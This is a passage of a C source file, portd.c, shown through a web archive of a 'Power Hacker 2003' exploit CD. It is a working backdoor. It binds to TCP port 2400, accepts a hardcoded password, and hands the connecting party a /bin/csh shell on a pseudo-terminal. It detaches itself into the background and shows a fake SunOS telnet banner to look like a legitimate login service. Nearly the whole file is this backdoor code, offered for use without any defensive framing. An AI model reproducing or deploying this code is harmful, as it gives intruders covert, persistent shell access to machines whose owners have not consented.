home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / portd.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  26KB  |  1,254 lines

  1. /*
  2.  * portd.c 
  3.  * Shell on a port. Enter a password, get dropped to a shell.
  4.  * Coded by ELO 9th Feb 1994
  5.  * Thanks to SMI for making this possible :)
  6.  * Added in.telnetd.c to the top half of ts2.c. Taken longer to type these
  7.  * credits than to write the damn thing.
  8.  *
  9.  * To compile: cc -s -O -o portd portd.c
  10.  * To kill off, kill the *newest* portd pid and then the second one.
  11.  */
  12. #include <sys/types.h>
  13. #include <sys/param.h>
  14. #include <sys/socket.h>
  15. #include <sys/wait.h>
  16. #include <sys/file.h>
  17. #include <sys/stat.h>
  18. #include <sys/time.h>
  19. #include <sys/ioctl.h>
  20.  
  21. #include <netinet/in.h>
  22.  
  23. #include <arpa/inet.h>
  24. #include <arpa/telnet.h>
  25.  
  26. #include <stdio.h>
  27. #include <signal.h>
  28. #include <errno.h>
  29. #include <sgtty.h>
  30. #include <netdb.h>
  31. #include <ctype.h>
  32. #include <stdio.h>
  33. #include <fcntl.h>
  34.  
  35. #define    QLEN           5
  36. #define    MY_PASSWORD    "wank"
  37. #define    SERV_TCP_PORT  2400    /* port I'll listen for connections on */
  38.  
  39. char sbuf[2048], cbuf[2048];
  40. extern int errno;
  41. extern char *sys_errlist[];
  42. void reaper();
  43. int main();
  44. void telcli();
  45.  
  46. char BANNER1[] = "\r\n\r\nSunOS UNIX (",
  47.     BANNER2[] = ")\r\n\r\0\r\n\r\0";
  48.  
  49. #define    OPT_NO            0        /* won't do this option */
  50. #define    OPT_YES            1        /* will do this option */
  51. #define    OPT_YES_BUT_ALWAYS_LOOK    2
  52. #define    OPT_NO_BUT_ALWAYS_LOOK    3
  53. char    hisopts[256];
  54. char    myopts[256];
  55.  
  56. char    doopt[] = { IAC, DO, '%', 'c', 0 };
  57. char    dont[] = { IAC, DONT, '%', 'c', 0 };
  58. char    will[] = { IAC, WILL, '%', 'c', 0 };
  59. char    wont[] = { IAC, WONT, '%', 'c', 0 };
  60.  
  61. /*
  62.  * I/O data buffers, pointers, and counters.
  63.  */
  64. char    ptyibuf[BUFSIZ], *ptyip = ptyibuf;
  65.  
  66. char    ptyobuf[BUFSIZ], *pfrontp = ptyobuf, *pbackp = ptyobuf;
  67.  
  68. char    netibuf[BUFSIZ], *netip = netibuf;
  69. #define    NIACCUM(c)    {   *netip++ = c; \
  70.                 ncc++; \
  71.             }
  72.  
  73. char    netobuf[BUFSIZ], *nfrontp = netobuf, *nbackp = netobuf;
  74. char    *neturg = 0;        /* one past last bye of urgent data */
  75.     /* the remote system seems to NOT be an old 4.2 */
  76. int    not42 = 1;
  77.  
  78.         /* buffer for sub-options */
  79. char    subbuffer[100], *subpointer= subbuffer, *subend= subbuffer;
  80. #define    SB_CLEAR()    subpointer = subbuffer;
  81. #define    SB_TERM()    { subend = subpointer; SB_CLEAR(); }
  82. #define    SB_ACCUM(c)    if (subpointer < (subbuffer+sizeof subbuffer)) { \
  83.                 *subpointer++ = (c); \
  84.             }
  85. #define    SB_GET()    ((*subpointer++)&0xff)
  86. #define    SB_EOF()    (subpointer >= subend)
  87.  
  88. int    pcc, ncc;
  89.  
  90. int    pty, net;
  91. int    inter;
  92. extern    char **environ;
  93. extern    int errno;
  94. char    *line;
  95. int    SYNCHing = 0;        /* we are in TELNET SYNCH mode */
  96. /*
  97.  * The following are some clocks used to decide how to interpret
  98.  * the relationship between various variables.
  99.  */
  100.  
  101. struct {
  102.     int
  103.     system,            /* what the current time is */
  104.     echotoggle,        /* last time user entered echo character */
  105.     modenegotiated,        /* last time operating mode negotiated */
  106.     didnetreceive,        /* last time we read data from network */
  107.     ttypeopt,        /* ttype will/won't received */
  108.     ttypesubopt,        /* ttype subopt is received */
  109.     getterminal,        /* time started to get terminal information */
  110.     gotDM;            /* when did we last see a data mark */
  111. } clocks;
  112.  
  113. #define    settimer(x)    (clocks.x = ++clocks.system)
  114. #define    sequenceIs(x,y)    (clocks.x < clocks.y)
  115.  
  116.  
  117. char    *terminaltype = 0;
  118. char    *envinit[2];
  119. int    cleanup();
  120.  
  121. /*
  122.  * ttloop
  123.  *
  124.  *    A small subroutine to flush the network output buffer, get some data
  125.  * from the network, and pass it through the telnet state machine.  We
  126.  * also flush the pty input buffer (by dropping its data) if it becomes
  127.  * too full.
  128.  */
  129.  
  130. void
  131. ttloop()
  132. {
  133.     if (nfrontp-nbackp) {
  134.     netflush();
  135.     }
  136.     ncc = read(net, netibuf, sizeof netibuf);
  137.     if (ncc < 0) {
  138.     exit(1);
  139.     } else if (ncc == 0) {
  140.     exit(1);
  141.     }
  142.     netip = netibuf;
  143.     telrcv();            /* state machine */
  144.     if (ncc > 0) {
  145.     pfrontp = pbackp = ptyobuf;
  146.     telrcv();
  147.     }
  148. }
  149.  
  150. /*
  151.  * getterminaltype
  152.  *
  153.  *    Ask the other end to send along its terminal type.
  154.  * Output is the variable terminaltype filled in.
  155.  */
  156.  
  157. void
  158. getterminaltype()
  159. {
  160.     static char sbuf[] = { IAC, DO, TELOPT_TTYPE };
  161.  
  162.     settimer(getterminal);
  163.     bcopy(sbuf, nfrontp, sizeof sbuf);
  164.     nfrontp += sizeof sbuf;
  165.     hisopts[TELOPT_TTYPE] = OPT_YES_BUT_ALWAYS_LOOK;
  166.     while (sequenceIs(ttypeopt, getterminal)) {
  167.     ttloop();
  168.     }
  169.     if (hisopts[TELOPT_TTYPE] == OPT_YES) {
  170.     static char sbbuf[] = { IAC, SB, TELOPT_TTYPE, TELQUAL_SEND, IAC, SE };
  171.  
  172.     bcopy(sbbuf, nfrontp, sizeof sbbuf);
  173.     nfrontp += sizeof sbbuf;
  174.     while (sequenceIs(ttypesubopt, getterminal)) {
  175.         ttloop();
  176.     }
  177.     }
  178. }
  179.  
  180. int main(argc, argv)
  181. int argc;
  182. char *argv[];
  183. {
  184.     int srv_fd, rem_fd, rem_len, opt = 1;
  185.     struct sockaddr_in rem_addr, srv_addr;
  186. #if !defined(SVR4) && !defined(POSIX) && !defined(linux) && !defined(__386BSD__) && !defined(hpux)
  187.     union wait status;
  188. #else
  189.     int    status;
  190. #endif /* !defined(SVR4) */
  191.  
  192.     bzero((char *) &rem_addr, sizeof(rem_addr));
  193.     bzero((char *) &srv_addr, sizeof(srv_addr));
  194.     srv_addr.sin_family = AF_INET;
  195.     srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  196.     srv_addr.sin_port = htons(SERV_TCP_PORT);
  197.     srv_fd = socket(PF_INET, SOCK_STREAM, 0);
  198.     if (bind(srv_fd, (struct sockaddr *) &srv_addr, sizeof(srv_addr)) == -1) {
  199.         perror("bind");
  200.         exit(-1);
  201.     }
  202.     listen(srv_fd, QLEN);
  203.     close(0); close(1); close(2);
  204. #ifdef TIOCNOTTY
  205.     if ((rem_fd = open("/dev/tty", O_RDWR)) >= 0) {
  206.         ioctl(rem_fd, TIOCNOTTY, (char *)0);
  207.         close(rem_fd);
  208.     }
  209. #endif
  210.     if (fork()) exit(0);
  211.     while (1) {
  212.     rem_len = sizeof(rem_addr);
  213.         rem_fd=accept(srv_fd, (struct sockaddr *) &rem_addr, &rem_len);
  214.         if (rem_fd < 0) {
  215.             if (errno == EINTR) continue;
  216.             exit(-1);
  217.         }
  218.         switch(fork()) {
  219.         case 0:                             /* child process */
  220.             close(srv_fd);                  /* close original socket */
  221.             telcli(rem_fd);                 /* process the request */
  222.             close(rem_fd);
  223.             exit(0);
  224.             break;
  225.         default: 
  226.             close(rem_fd);                  /* parent process */
  227.             if (fork()) exit(0);            /* let init worry about children */
  228.             break;
  229.         case -1:
  230.             fprintf(stderr, "\n\rfork: %s\n\r", sys_errlist[errno]);
  231.             break;
  232.         }
  233.     }
  234. }
  235.  
  236. void telcli(source)
  237. int source;
  238. {
  239.     int dest;
  240.     int found;
  241.     struct sockaddr_in sa;
  242.     struct hostent *hp;
  243.     struct servent *sp;
  244.     char gethost[100];
  245.     char getport[100];
  246.     char string[100];
  247.  
  248.     bzero(gethost, 100);
  249. /*  sprintf(string, "Password: ");
  250.     write(source, string, strlen(string)); */
  251.     read(source, gethost, 100);
  252.     gethost[(strlen(gethost)-2)] = '\0'; /* kludge alert - kill the \r\n */
  253.     if (strcmp(gethost, MY_PASSWORD) != 0) {
  254.         sprintf(string, "Wrong password, got %s.\r\n", gethost);
  255.         write(source, string, strlen(string));
  256.         close(source);
  257.         exit(0);
  258.     }
  259.     doit(source);
  260. }
  261. /*
  262.  * Get a pty, scan input lines.
  263.  */
  264. doit(f)
  265.     int f;
  266. {
  267.     int i, p, t, tt;
  268.     struct sgttyb b;
  269.     int on = 1;
  270.     int zero;
  271.     char *cp;
  272.  
  273.     setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof (on));
  274.     for (cp = "pqrstuvwxyzPQRST"; *cp; cp++) {
  275.         struct stat stb;
  276.  
  277.         line = "/dev/ptyXX";
  278.         line[strlen("/dev/pty")] = *cp;
  279.         line[strlen("/dev/ptyp")] = '0';
  280.         if (stat(line, &stb) < 0)
  281.             break;
  282.         for (i = 0; i < 16; i++) {
  283.             line[strlen("/dev/ptyp")] = "0123456789abcdef"[i];
  284.             p = open(line, O_RDWR | O_NOCTTY);
  285.             if (p > 0)
  286.                 goto gotpty;
  287.         }
  288.     }
  289.     fatal(f, "All network ports in use");
  290.     /*NOTREACHED*/
  291. gotpty:
  292.     dup2(f, 0);
  293.     line[strlen("/dev/")] = 't';
  294.     t = open("/dev/tty", O_RDWR);
  295.     if (t >= 0) {
  296.         ioctl(t, TIOCNOTTY, 0);
  297.         close(t);
  298.     }
  299.     t = open(line, O_RDWR | O_NOCTTY);
  300.     if (t < 0)
  301.         fatalperror(f, line, errno);
  302.     ioctl(t, TIOCGETP, &b);
  303.     b.sg_flags = CRMOD|XTABS|ANYP;
  304.  
  305.     /* XXX - ispeed and ospeed must be non-zero */
  306.         b.sg_ispeed = B38400;
  307.     b.sg_ospeed = B38400;
  308.  
  309.     ioctl(t, TIOCSETP, &b);
  310.     ioctl(t, TIOCLSET, &zero);
  311.     ioctl(p, TIOCGETP, &b);
  312.     b.sg_flags &= ~ECHO;
  313.     ioctl(p, TIOCSETP, &b);
  314.     net = f;
  315.     pty = p;
  316.  
  317.     /*
  318.      * get terminal type.
  319.      */
  320.     getterminaltype();
  321.  
  322.     if ((i = fork()) < 0)
  323.         fatalperror(f, "fork", errno);
  324.     if (i)
  325.         telnet(f, p);
  326.     /*
  327.      * The child process needs to be the session leader
  328.      * and have the pty as its controlling tty.
  329.      */
  330.     (void) setpgrp(0, 0);        /* setsid */
  331.     tt = open(line, O_RDWR);
  332.     if (tt < 0)
  333.         fatalperror(f, line, errno);
  334.     (void) close(f);
  335.     (void) close(p);
  336.     (void) close(t);
  337.     if (tt != 0)
  338.         (void) dup2(tt, 0);
  339.     if (tt != 1)
  340.         (void) dup2(tt, 1);
  341.     if (tt != 2)
  342.         (void) dup2(tt, 2);
  343.     if (tt > 2) 
  344.         close(tt);
  345.     envinit[0] = terminaltype;
  346.     envinit[1] = 0;
  347.     environ = envinit;
  348.     execl("/bin/csh", "csh", 0);
  349.     fatalperror(f, "/bin/csh", errno);
  350.     /*NOTREACHED*/
  351. }
  352.  
  353. fatal(f, msg)
  354.     int f;
  355.     char *msg;
  356. {
  357.     char buf[BUFSIZ];
  358.  
  359.     (void) sprintf(buf, "telnetd: %s.\r\n", msg);
  360.     (void) write(f, buf, strlen(buf));
  361.     exit(1);
  362. }
  363.  
  364. fatalperror(f, msg, errno)
  365.     int f;
  366.     char *msg;
  367.     int errno;
  368. {
  369.     char buf[BUFSIZ];
  370.     extern char *sys_errlist[];
  371.  
  372.     (void) sprintf(buf, "%s: %s\r\n", msg, sys_errlist[errno]);
  373.     fatal(f, buf);
  374. }
  375.  
  376.  
  377. /*
  378.  * Check a descriptor to see if out of band data exists on it.
  379.  */
  380.  
  381.  
  382. stilloob(s)
  383. int    s;        /* socket number */
  384. {
  385.     static struct timeval timeout = { 0 };
  386.     fd_set    excepts;
  387.     int value;
  388.  
  389.     do {
  390.     FD_ZERO(&excepts);
  391.     FD_SET(s, &excepts);
  392.     value = select(s+1, (fd_set *)0, (fd_set *)0, &excepts, &timeout);
  393.     } while ((value == -1) && (errno == EINTR));
  394.  
  395.     if (value < 0) {
  396.     fatalperror(pty, "select", errno);
  397.     }
  398.     if (FD_ISSET(s, &excepts)) {
  399.     return 1;
  400.     } else {
  401.     return 0;
  402.     }
  403. }
  404.  
  405. /*
  406.  * Main loop.  Select from pty and network, and
  407.  * hand data to telnet receiver finite state machine.
  408.  */
  409. telnet(f, p)
  410. {
  411.     int on = 1;
  412.     char hostname[MAXHOSTNAMELEN];
  413.  
  414.     ioctl(f, FIONBIO, &on);
  415.     ioctl(p, FIONBIO, &on);
  416. #if    defined(SO_OOBINLINE)
  417.     setsockopt(net, SOL_SOCKET, SO_OOBINLINE, &on, sizeof on);
  418. #endif    /* defined(SO_OOBINLINE) */
  419.     signal(SIGTSTP, SIG_IGN);
  420.     signal(SIGTTIN, SIG_IGN);
  421.     signal(SIGTTOU, SIG_IGN);
  422.     signal(SIGCHLD, cleanup);
  423.     setpgrp(0, 0);
  424.  
  425.     /*
  426.      * Request to do remote echo and to suppress go ahead.
  427.      */
  428.     if (!myopts[TELOPT_ECHO]) {
  429.         dooption(TELOPT_ECHO);
  430.     }
  431.     if (!myopts[TELOPT_SGA]) {
  432.         dooption(TELOPT_SGA);
  433.     }
  434.     /*
  435.      * Is the client side a 4.2 (NOT 4.3) system?  We need to know this
  436.      * because 4.2 clients are unable to deal with TCP urgent data.
  437.      *
  438.      * To find out, we send out a "DO ECHO".  If the remote system
  439.      * answers "WILL ECHO" it is probably a 4.2 client, and we note
  440.      * that fact ("WILL ECHO" ==> that the client will echo what
  441.      * WE, the server, sends it; it does NOT mean that the client will
  442.      * echo the terminal input).
  443.      */
  444.     sprintf(nfrontp, doopt, TELOPT_ECHO);
  445.     nfrontp += sizeof doopt-2;
  446.     hisopts[TELOPT_ECHO] = OPT_YES_BUT_ALWAYS_LOOK;
  447.  
  448.     /*
  449.      * Show banner that getty never gave.
  450.      *
  451.      * The banner includes some null's (for TELNET CR disambiguation),
  452.      * so we have to be somewhat complicated.
  453.      */
  454.  
  455.     gethostname(hostname, sizeof (hostname));
  456.  
  457.     bcopy(BANNER1, nfrontp, sizeof BANNER1 -1);
  458.     nfrontp += sizeof BANNER1 - 1;
  459.     bcopy(hostname, nfrontp, strlen(hostname));
  460.     nfrontp += strlen(hostname);
  461.     bcopy(BANNER2, nfrontp, sizeof BANNER2 -1);
  462.     nfrontp += sizeof BANNER2 - 1;
  463.  
  464.     /*
  465.      * Call telrcv() once to pick up anything received during
  466.      * terminal type negotiation.
  467.      */
  468.     telrcv();
  469.  
  470.     for (;;) {
  471.         fd_set ibits, obits, xbits;
  472.         register int c;
  473.  
  474.         if (ncc < 0 && pcc < 0)
  475.             break;
  476.  
  477.         FD_ZERO(&ibits);
  478.         FD_ZERO(&obits);
  479.         FD_ZERO(&xbits);
  480.         /*
  481.          * Never look for input if there's still
  482.          * stuff in the corresponding output buffer
  483.          */
  484.         if (nfrontp - nbackp || pcc > 0) {
  485.             FD_SET(f, &obits);
  486.         } else {
  487.             FD_SET(p, &ibits);
  488.         }
  489.         if (pfrontp - pbackp || ncc > 0) {
  490.             FD_SET(p, &obits);
  491.         } else {
  492.             FD_SET(f, &ibits);
  493.         }
  494.         if (!SYNCHing) {
  495.             FD_SET(f, &xbits);
  496.         }
  497.         if ((c = select(16, &ibits, &obits, &xbits,
  498.                         (struct timeval *)0)) < 1) {
  499.             if (c == -1) {
  500.                 if (errno == EINTR) {
  501.                     continue;
  502.                 }
  503.             }
  504.             sleep(5);
  505.             continue;
  506.         }
  507.  
  508.         /*
  509.          * Any urgent data?
  510.          */
  511.         if (FD_ISSET(net, &xbits)) {
  512.             SYNCHing = 1;
  513.         }
  514.  
  515.         /*
  516.          * Something to read from the network...
  517.          */
  518.         if (FD_ISSET(net, &ibits)) {
  519. #if    !defined(SO_OOBINLINE)
  520.             /*
  521.              * In 4.2 (and 4.3 beta) systems, the
  522.              * OOB indication and data handling in the kernel
  523.              * is such that if two separate TCP Urgent requests
  524.              * come in, one byte of TCP data will be overlaid.
  525.              * This is fatal for Telnet, but we try to live
  526.              * with it.
  527.              *
  528.              * In addition, in 4.2 (and...), a special protocol
  529.              * is needed to pick up the TCP Urgent data in
  530.              * the correct sequence.
  531.              *
  532.              * What we do is:  if we think we are in urgent
  533.              * mode, we look to see if we are "at the mark".
  534.              * If we are, we do an OOB receive.  If we run
  535.              * this twice, we will do the OOB receive twice,
  536.              * but the second will fail, since the second
  537.              * time we were "at the mark", but there wasn't
  538.              * any data there (the kernel doesn't reset
  539.              * "at the mark" until we do a normal read).
  540.              * Once we've read the OOB data, we go ahead
  541.              * and do normal reads.
  542.              *
  543.              * There is also another problem, which is that
  544.              * since the OOB byte we read doesn't put us
  545.              * out of OOB state, and since that byte is most
  546.              * likely the TELNET DM (data mark), we would
  547.              * stay in the TELNET SYNCH (SYNCHing) state.
  548.              * So, clocks to the rescue.  If we've "just"
  549.              * received a DM, then we test for the
  550.              * presence of OOB data when the receive OOB
  551.              * fails (and AFTER we did the normal mode read
  552.              * to clear "at the mark").
  553.              */
  554.             if (SYNCHing) {
  555.             int atmark;
  556.  
  557.             ioctl(net, SIOCATMARK, (char *)&atmark);
  558.             if (atmark) {
  559.                 ncc = recv(net, netibuf, sizeof (netibuf), MSG_OOB);
  560.                 if ((ncc == -1) && (errno == EINVAL)) {
  561.                 ncc = read(net, netibuf, sizeof (netibuf));
  562.                 if (sequenceIs(didnetreceive, gotDM)) {
  563.                     SYNCHing = stilloob(net);
  564.                 }
  565.                 }
  566.             } else {
  567.                 ncc = read(net, netibuf, sizeof (netibuf));
  568.             }
  569.             } else {
  570.             ncc = read(net, netibuf, sizeof (netibuf));
  571.             }
  572.             settimer(didnetreceive);
  573. #else    /* !defined(SO_OOBINLINE)) */
  574.             ncc = read(net, netibuf, sizeof (netibuf));
  575. #endif    /* !defined(SO_OOBINLINE)) */
  576.             if (ncc < 0 && (
  577.             (errno == EWOULDBLOCK) ||
  578.             (errno == EHOSTUNREACH)|| /*icmp stuff of no interest*/
  579.             (errno == ENETUNREACH)    /*icmp stuff of no interest*/
  580.                    )
  581.             )
  582.             ncc = 0;
  583.             else {    /*disconnect on reset though!*/
  584.             if (ncc <= 0) {
  585.                 break;
  586.             }
  587.             netip = netibuf;
  588.             }
  589.         }
  590.  
  591.         /*
  592.          * Something to read from the pty...
  593.          */
  594.         if (FD_ISSET(p, &ibits)) {
  595.             pcc = read(p, ptyibuf, BUFSIZ);
  596.             if (pcc < 0 && errno == EWOULDBLOCK)
  597.                 pcc = 0;
  598.             else {
  599.                 if (pcc <0)
  600.                     fatalperror(f, line, errno);
  601.                 if (pcc <= 0)
  602.                     break;
  603.                 ptyip = ptyibuf;
  604.             }
  605.         }
  606.  
  607.         while (pcc > 0) {
  608.             if ((&netobuf[BUFSIZ] - nfrontp) < 2)
  609.                 break;
  610.             c = *ptyip++ & 0377, pcc--;
  611.             if (c == IAC)
  612.                 *nfrontp++ = c;
  613.             *nfrontp++ = c;
  614.             if ((c == '\r') && (myopts[TELOPT_BINARY] == OPT_NO)) {
  615.                 if (pcc > 0 && ((*ptyip & 0377) == '\n')) {
  616.                     *nfrontp++ = *ptyip++ & 0377;
  617.                     pcc--;
  618.                 } else
  619.                     *nfrontp++ = '\0';
  620.             }
  621.         }
  622.         if (FD_ISSET(f, &obits) && (nfrontp - nbackp) > 0)
  623.             netflush();
  624.         if (ncc > 0)
  625.             telrcv();
  626.         if (FD_ISSET(p, &obits) && (pfrontp - pbackp) > 0)
  627.             ptyflush();
  628.     }
  629.     cleanup();
  630. }
  631.     
  632. /*
  633.  * State for recv fsm
  634.  */
  635. #define    TS_DATA        0    /* base state */
  636. #define    TS_IAC        1    /* look for double IAC's */
  637. #define    TS_CR        2    /* CR-LF ->'s CR */
  638. #define    TS_SB        3    /* throw away begin's... */
  639. #define    TS_SE        4    /* ...end's (suboption negotiation) */
  640. #define    TS_WILL        5    /* will option negotiation */
  641. #define    TS_WONT        6    /* wont " */
  642. #define    TS_DO        7    /* do " */
  643. #define    TS_DONT        8    /* dont " */
  644.  
  645. telrcv()
  646. {
  647.     register int c;
  648.     static int state = TS_DATA;
  649.  
  650.     while (ncc > 0) {
  651.         if ((&ptyobuf[BUFSIZ] - pfrontp) < 2)
  652.             return;
  653.         c = *netip++ & 0377, ncc--;
  654.         switch (state) {
  655.  
  656.         case TS_CR:
  657.             state = TS_DATA;
  658.             /* Strip off \n or \0 after a \r */
  659.             if ((c == 0) || (c == '\n')) {
  660.                 break;
  661.             }
  662.             /* FALL THROUGH */
  663.  
  664.         case TS_DATA:
  665.             if (c == IAC) {
  666.                 state = TS_IAC;
  667.                 break;
  668.             }
  669.             if (inter > 0)
  670.                 break;
  671.             /*
  672.              * We map \r\n ==> \r, since 
  673.              * We now map \r\n ==> \r for pragmatic reasons.
  674.              * Many client implementations send \r\n when
  675.              * the user hits the CarriageReturn key.
  676.              *
  677.              * We USED to map \r\n ==> \n, since \r\n says
  678.                * that we want to be in column 1 of the next
  679.              * line.
  680.              */
  681.             if ( c == '\r' && (myopts[TELOPT_BINARY] == OPT_NO)) {
  682.                 state = TS_CR;
  683.             }
  684.             *pfrontp++ = c;
  685.             break;
  686.  
  687.         case TS_IAC:
  688.             switch (c) {
  689.  
  690.             /*
  691.              * Send the process on the pty side an
  692.              * interrupt.  Do this with a NULL or
  693.              * interrupt char; depending on the tty mode.
  694.              */
  695.             case IP:
  696.                 interrupt();
  697.                 break;
  698.  
  699.             case BREAK:
  700.                 sendbrk();
  701.                 break;
  702.  
  703.             /*
  704.              * Are You There?
  705.              */
  706.             case AYT:
  707.                 strcpy(nfrontp, "\r\n[Yes]\r\n");
  708.                 nfrontp += 9;
  709.                 break;
  710.  
  711.             /*
  712.              * Abort Output
  713.              */
  714.             case AO: {
  715.                     struct ltchars tmpltc;
  716.  
  717.                     ptyflush();    /* half-hearted */
  718.                     ioctl(pty, TIOCGLTC, &tmpltc);
  719.                     if (tmpltc.t_flushc != '\377') {
  720.                         *pfrontp++ = tmpltc.t_flushc;
  721.                     }
  722.                     netclear();    /* clear buffer back */
  723.                     *nfrontp++ = IAC;
  724.                     *nfrontp++ = DM;
  725.                     neturg = nfrontp-1; /* off by one XXX */
  726.                     break;
  727.                 }
  728.  
  729.             /*
  730.              * Erase Character and
  731.              * Erase Line
  732.              */
  733.             case EC:
  734.             case EL: {
  735.                     struct sgttyb b;
  736.                     char ch;
  737.  
  738.                     ptyflush();    /* half-hearted */
  739.                     ioctl(pty, TIOCGETP, &b);
  740.                     ch = (c == EC) ?
  741.                         b.sg_erase : b.sg_kill;
  742.                     if (ch != '\377') {
  743.                         *pfrontp++ = ch;
  744.                     }
  745.                     break;
  746.                 }
  747.  
  748.             /*
  749.              * Check for urgent data...
  750.              */
  751.             case DM:
  752.                 SYNCHing = stilloob(net);
  753.                 settimer(gotDM);
  754.                 break;
  755.  
  756.  
  757.             /*
  758.              * Begin option subnegotiation...
  759.              */
  760.             case SB:
  761.                 state = TS_SB;
  762.                 continue;
  763.  
  764.             case WILL:
  765.                 state = TS_WILL;
  766.                 continue;
  767.  
  768.             case WONT:
  769.                 state = TS_WONT;
  770.                 continue;
  771.  
  772.             case DO:
  773.                 state = TS_DO;
  774.                 continue;
  775.  
  776.             case DONT:
  777.                 state = TS_DONT;
  778.                 continue;
  779.  
  780.             case IAC:
  781.                 *pfrontp++ = c;
  782.                 break;
  783.             }
  784.             state = TS_DATA;
  785.             break;
  786.  
  787.         case TS_SB:
  788.             if (c == IAC) {
  789.                 state = TS_SE;
  790.             } else {
  791.                 SB_ACCUM(c);
  792.             }
  793.             break;
  794.  
  795.         case TS_SE:
  796.             if (c != SE) {
  797.                 if (c != IAC) {
  798.                     SB_ACCUM(IAC);
  799.                 }
  800.                 SB_ACCUM(c);
  801.                 state = TS_SB;
  802.             } else {
  803.                 SB_TERM();
  804.                 suboption();    /* handle sub-option */
  805.                 state = TS_DATA;
  806.             }
  807.             break;
  808.  
  809.         case TS_WILL:
  810.             if (hisopts[c] != OPT_YES)
  811.                 willoption(c);
  812.             state = TS_DATA;
  813.             continue;
  814.  
  815.         case TS_WONT:
  816.             if (hisopts[c] != OPT_NO)
  817.                 wontoption(c);
  818.             state = TS_DATA;
  819.             continue;
  820.  
  821.         case TS_DO:
  822.             if (myopts[c] != OPT_YES)
  823.                 dooption(c);
  824.             state = TS_DATA;
  825.             continue;
  826.  
  827.         case TS_DONT:
  828.             if (myopts[c] != OPT_NO) {
  829.                 dontoption(c);
  830.             }
  831.             state = TS_DATA;
  832.             continue;
  833.  
  834.         default:
  835.             printf("telnetd: panic state=%d\n", state);
  836.             exit(1);
  837.         }
  838.     }
  839. }
  840.  
  841. willoption(option)
  842.     int option;
  843. {
  844.     char *fmt;
  845.  
  846.     switch (option) {
  847.  
  848.     case TELOPT_BINARY:
  849.         mode(RAW, 0);
  850.         fmt = doopt;
  851.         break;
  852.  
  853.     case TELOPT_ECHO:
  854.         not42 = 0;        /* looks like a 4.2 system */
  855.         /*
  856.          * Now, in a 4.2 system, to break them out of ECHOing
  857.          * (to the terminal) mode, we need to send a "WILL ECHO".
  858.          * Kludge upon kludge!
  859.          */
  860.         if (myopts[TELOPT_ECHO] == OPT_YES) {
  861.             dooption(TELOPT_ECHO);
  862.         }
  863.         fmt = dont;
  864.         break;
  865.  
  866.     case TELOPT_TTYPE:
  867.         settimer(ttypeopt);
  868.         if (hisopts[TELOPT_TTYPE] == OPT_YES_BUT_ALWAYS_LOOK) {
  869.             hisopts[TELOPT_TTYPE] = OPT_YES;
  870.             return;
  871.         }
  872.         fmt = doopt;
  873.         break;
  874.  
  875.     case TELOPT_SGA:
  876.         fmt = doopt;
  877.         break;
  878.  
  879.     case TELOPT_TM:
  880.         fmt = dont;
  881.         break;
  882.  
  883.     default:
  884.         fmt = dont;
  885.         break;
  886.     }
  887.     if (fmt == doopt) {
  888.         hisopts[option] = OPT_YES;
  889.     } else {
  890.         hisopts[option] = OPT_NO;
  891.     }
  892.     sprintf(nfrontp, fmt, option);
  893.     nfrontp += sizeof (dont) - 2;
  894. }
  895.  
  896. wontoption(option)
  897.     int option;
  898. {
  899.     char *fmt;
  900.  
  901.     switch (option) {
  902.     case TELOPT_ECHO:
  903.         not42 = 1;        /* doesn't seem to be a 4.2 system */
  904.         break;
  905.  
  906.     case TELOPT_BINARY:
  907.         mode(0, RAW);
  908.         break;
  909.  
  910.     case TELOPT_TTYPE:
  911.         settimer(ttypeopt);
  912.         break;
  913.     }
  914.  
  915.     fmt = dont;
  916.     hisopts[option] = OPT_NO;
  917.     sprintf(nfrontp, fmt, option);
  918.     nfrontp += sizeof (doopt) - 2;
  919. }
  920.  
  921. dooption(option)
  922.     int option;
  923. {
  924.     char *fmt;
  925.  
  926.     switch (option) {
  927.  
  928.     case TELOPT_TM:
  929.         fmt = wont;
  930.         break;
  931.  
  932.     case TELOPT_ECHO:
  933.         mode(ECHO|CRMOD, 0);
  934.         fmt = will;
  935.         break;
  936.  
  937.     case TELOPT_BINARY:
  938.         mode(RAW, 0);
  939.         fmt = will;
  940.         break;
  941.  
  942.     case TELOPT_SGA:
  943.         fmt = will;
  944.         break;
  945.  
  946.     default:
  947.         fmt = wont;
  948.         break;
  949.     }
  950.     if (fmt == will) {
  951.         myopts[option] = OPT_YES;
  952.     } else {
  953.         myopts[option] = OPT_NO;
  954.     }
  955.     sprintf(nfrontp, fmt, option);
  956.     nfrontp += sizeof (doopt) - 2;
  957. }
  958.  
  959.  
  960. dontoption(option)
  961. int option;
  962. {
  963.     char *fmt;
  964.  
  965.     switch (option) {
  966.     case TELOPT_ECHO:        
  967.           /*
  968.        * we should stop echoing, since the client side will be doing it,
  969.        * but keep mapping CR since CR-LF will be mapped to it.
  970.        */
  971.     mode(0, ECHO);
  972.     fmt = wont;
  973.     break;
  974.  
  975.     default:
  976.     fmt = wont;
  977.     break;
  978.     }
  979.  
  980.     if (fmt = wont) {
  981.     myopts[option] = OPT_NO;
  982.     } else {
  983.     myopts[option] = OPT_YES;
  984.     }
  985.     sprintf(nfrontp, fmt, option);
  986.     nfrontp += sizeof (wont) - 2;
  987. }
  988.  
  989. /*
  990.  * suboption()
  991.  *
  992.  *    Look at the sub-option buffer, and try to be helpful to the other
  993.  * side.
  994.  *
  995.  *    Currently we recognize:
  996.  *
  997.  *    Terminal type is
  998.  */
  999.  
  1000. suboption()
  1001. {
  1002.     switch (SB_GET()) {
  1003.     case TELOPT_TTYPE: {        /* Yaaaay! */
  1004.     static char terminalname[5+41] = "TERM=";
  1005.  
  1006.     settimer(ttypesubopt);
  1007.  
  1008.     if (SB_GET() != TELQUAL_IS) {
  1009.         return;        /* ??? XXX but, this is the most robust */
  1010.     }
  1011.  
  1012.     terminaltype = terminalname+strlen(terminalname);
  1013.  
  1014.     while ((terminaltype < (terminalname + sizeof terminalname-1)) &&
  1015.                                     !SB_EOF()) {
  1016.         register int c;
  1017.  
  1018.         c = SB_GET();
  1019.         if (isupper(c)) {
  1020.         c = tolower(c);
  1021.         }
  1022.         *terminaltype++ = c;    /* accumulate name */
  1023.     }
  1024.     *terminaltype = 0;
  1025.     terminaltype = terminalname;
  1026.     break;
  1027.     }
  1028.  
  1029.     default:
  1030.     ;
  1031.     }
  1032. }
  1033.  
  1034. mode(on, off)
  1035.     int on, off;
  1036. {
